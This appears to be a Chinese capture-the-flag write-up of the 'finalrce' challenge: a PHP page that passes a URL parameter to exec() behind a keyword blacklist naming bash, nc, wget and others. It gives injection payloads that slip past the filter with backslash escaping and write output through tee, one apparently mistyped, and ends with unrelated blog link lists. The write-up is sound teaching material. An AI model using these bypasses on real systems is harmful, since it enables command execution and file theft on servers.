<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
$url=$_GET['url'];
if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
{
echo "Sorry,you can't use this.";
}
else
{
echo "Can you see anything?";
exec($url);
}
}

过滤了很多东西,直接读文件和反弹shell不太能用了,并且这里如果直接取反的话是无回显的,所以我们要么写文件要么反弹shell,但是正常写文件的>符号被过滤,反弹shell的bash、nc、&、>等符号都被过滤了,我直接无从下手了

这里就需要绕过关键字过滤,看了一下大佬们的wp

转义符\绕过

转义字符是用于在字符串中表示特殊字符的符号。它通常以反斜杠(\)开头,后面跟随一个特定的字符,以表示该字符的特殊含义或防止其被解释为其他含义。在不同的编程语言或环境中,转义字符的实际含义可能会有所不同,但在许多情况下,它们用来处理以下几种情况:

1. 表示特殊字符:

某些字符在字符串中有特殊的意义,使用转义字符可以让它们被当作普通字符来处理。例如:

  • \':表示单引号字符。

  • \":表示双引号字符。

  • \\:表示反斜杠字符。

2. 代表不可见或控制字符:

转义字符还可以用来表示不可见或控制字符,如:

  • \n:换行符。

  • \t:制表符。

  • \r:回车符。

3. 编码字符:

某些程序或语言支持通过转义字符来表示Unicode字符,如:

  • \uXXXX:表示对应的Unicode字符,其中XXXX是四位十六进制数字。

示例:
 command | tee [OPTION]... [FILE]...  

在PHP中,转义字符在字符串中用来处理复杂的字符:

 $example = "He said, \"Hello, World!\""; // 双引号需要转义
$path = "C:\\Program Files\\MyApp"; // 反斜杠需要转义

tee命令绕过>过滤

我们正常写文件要用到>符号,这里被过滤了,我们可以利用linux系统的tee命令来写文件

tee 命令是 Linux 中一个非常有用的命令行工具,它用于从标准输入读取数据,并将其同时输出到标准输出(通常是终端)和一个或多个文件中。它的名称来自于字母“T”,形象地表示数据分流的过程。

基本语法
 command | tee [OPTION]... [FILE]... 
 
常用选项
  • -a:将输出追加到文件末尾,而不是覆盖文件。

  • -i:忽略中断信号。

使用示例
  1. 基本用法: 将 echo 的输出同时显示在终端和文件中:

     echo "Hello World" | tee output.txt  

    这会将 "Hello World" 输出到终端,并同时写入 output.txt 文件。

  2. 追加到文件: 使用 -a 选项将内容追加到文件中:

     echo "Another line" | tee -a output.txt 
     

    这会将 "Another line" 添加到 output.txt 文件的末尾,而不会覆盖原有内容。

  3. 从其他命令获取输出: 将 ls 命令的输出同时传递给 tee 命令:

     ls -l | tee output.txt  

    这会将 ls -l 的输出显示在终端上,并保存到 output.txt 文件中。

  4. 多个文件: 将输出同时写入多个文件:

     echo "Log message" | tee file1.txt file2.txt  

    这会将 "Log message" 同时写入 file1.txtfile2.txt

解题

知道怎么绕过关键字过滤本题解法就一目了然了

首先查看根目录文件

 ?url=l\s / | tee 1.txt

然后我们访问1.txt就可以看到回显内容,看到flag文件flllllaaaaaaggggggg,我们访问

 ?url=tac /flllll\aaaaaaggggggg | 1.txt

由于la被过滤,所以l和a中间要加转义符,访问1.txt,拿到flag

[SWPUCTF 2021 新生赛]finalrce的更多相关文章

  1. [SWPUCTF 2021 新生赛]jicao

    CTF web安全 阅读代码可知当传入一个post型的参数id与wllmNB相等并且传入一个get型的参数json: 但是这里有一个函数json_decode,上网搜索可知json_decode这个函 ...

  2. SCNU ACM 2016新生赛初赛 解题报告

    新生初赛题目.解题思路.参考代码一览 1001. 无聊的日常 Problem Description 两位小朋友小A和小B无聊时玩了个游戏,在限定时间内说出一排数字,那边说出的数大就赢,你的工作是帮他 ...

  3. SCNU 2015ACM新生赛决赛【F. Oyk闯机关】解题报告

            题目大意:一个$N$$\times$$N$的阵列,每个格子有$X_{ij}$个调和之音,若每次只能选择走右边或下边,从左上角出发走到右下角,问最多能收集到多少个调和之音?       ...

  4. Codeforces 801 A.Vicious Keyboard & Jxnu Group Programming Ladder Tournament 2017江西师大新生赛 L1-2.叶神的字符串

    A. Vicious Keyboard time limit per test 2 seconds memory limit per test 256 megabytes input standard ...

  5. [ACTF2020 新生赛]BackupFile && [ACTF2020 新生赛]Upload &&[GYCTF2020]Blacklist

    [ACTF2020 新生赛]BackupFile 尝试找到源代码,加上题目是备份文件,猜测备份文件里面有网站的源代码,御剑扫描一下,就扫到index.php 访问index.php.bak 下载源代码 ...

  6. [BUUCTF]REVERSE——[ACTF新生赛2020]Oruga

    [ACTF新生赛2020]Oruga 附件 步骤: 例行检查,64位程序,无壳 64位ida载入,检索字符串,根据提示来到关键函数 14行~18行就是让字符串的前5位是 actf{ ,sub_78A( ...

  7. [BUUCTF]REVERSE——[ACTF新生赛2020]usualCrypt

    [ACTF新生赛2020]usualCrypt 附件 步骤: 例行检查,无壳,32位程序 32位ida载入,直接看main函数 逻辑很简单,一开始让我们输入一个字符串,然后该字符串经过sub_4010 ...

  8. [BUUCTF]REVERSE——[ACTF新生赛2020]rome

    [ACTF新生赛2020]rome 附件 步骤 无壳,32位程序 32位ida载入,根据提示字符串"You are correct!",找到关键函数func v15 = 'Q'; ...

  9. [BUUCTF]REVERSE——[ACTF新生赛2020]easyre

    [ACTF新生赛2020]easyre 附件 步骤 查壳,32位程序,upx壳儿 脱完壳儿,扔进ida 分析 一开始给我们定义了一个数组, v4=[42,70,39,34,78,44,34,40,73 ...

  10. 2021江西省赛线下赛赛后总结(Crypto)

    2021江西省赛线下赛 crypto1 题目: from random import randint from gmpy2 import * from Crypto.Util.number impor ...

随机推荐

  1. tsconfig.json报错问题

    tsconfig.json报错问题 前言 创建 tsconfig.json 配置文件时,VS Code 会自动检测当前项目当中是否有ts文件,若没有则报错,提示用户需要创建一个ts文件后,再去使用ty ...

  2. Golang数组去重&切片去重

    合并两个整型切片,返回没有重复元素的切片,有两种去重策略 1. 通过双重循环来过滤重复元素(时间换空间) // 通过两重循环过滤重复元素 func RemoveRepByLoop(slc []int) ...

  3. 有关js的双向绑定解除方法

    最近碰到了一个bug var persons = [{ number: 1, age: 11, name: "wanghaha", money: -1 }, { number: 2 ...

  4. docker中 启动所有的容器命令

    docker中 启动所有的容器命令 docker start $(docker ps -a | awk '{ print $1}' | tail -n +2) docker中    关闭所有的容器命令 ...

  5. XWorker - 人机协同的共生系统

    这是XWorker的定位,让AI写的,因为动态模型和XWorker对AI本身也有特殊意义,所以让AI写也是可以的.部分是AI的幻觉,如(四.重塑产业实践),XWorker还没实现这些.之所以保留不动, ...

  6. 异常的两种处理方式--java进阶day08

    1.异常的默认处理流程 java中,对于异常的默认处理方式是--向上抛出 之前我们说过,异常都是类,当某个程序出错后,就会自动生成该异常对象,而这个异常对象就如同一颗雷 . java的异常默认处理方式 ...

  7. AspNetCore MVC 跨域

    通过XMLHttpRequest或者ajax去请求一个AspNetCore API接口服务时,Firefox提示我 已拦截跨源请求:同源策略禁止读取位于 http://localhost:33694/ ...

  8. datasnap的回调广播

    感觉中的datasnap千孔百疮,到xe10已经具备冲击成千上万用户并发的能力了.应该放心用于项目实战了.补课研究10.1 datasnap开发手册. 用到的方法: (1)TDBXCallback机制 ...

  9. mongo db集群故障选举分析

    转载请注明出处: 一.MongoDB集群基础架构 1. 副本集(Replica Set)核心原理 节点角色: Primary:唯一可写节点,处理所有写操作和默认读请求 Secondary:异步复制Pr ...

  10. 基于SaaS纯BS架构的全院级PACS系统

           2014年曾经做过一版简单的Dicom Web Viewer,之前的Web版本由于技术和功能的极限性,仅能简单的运用于临床阅片和患者的电子胶片使用,无法普及到放射和超声等影像科室.影像科 ...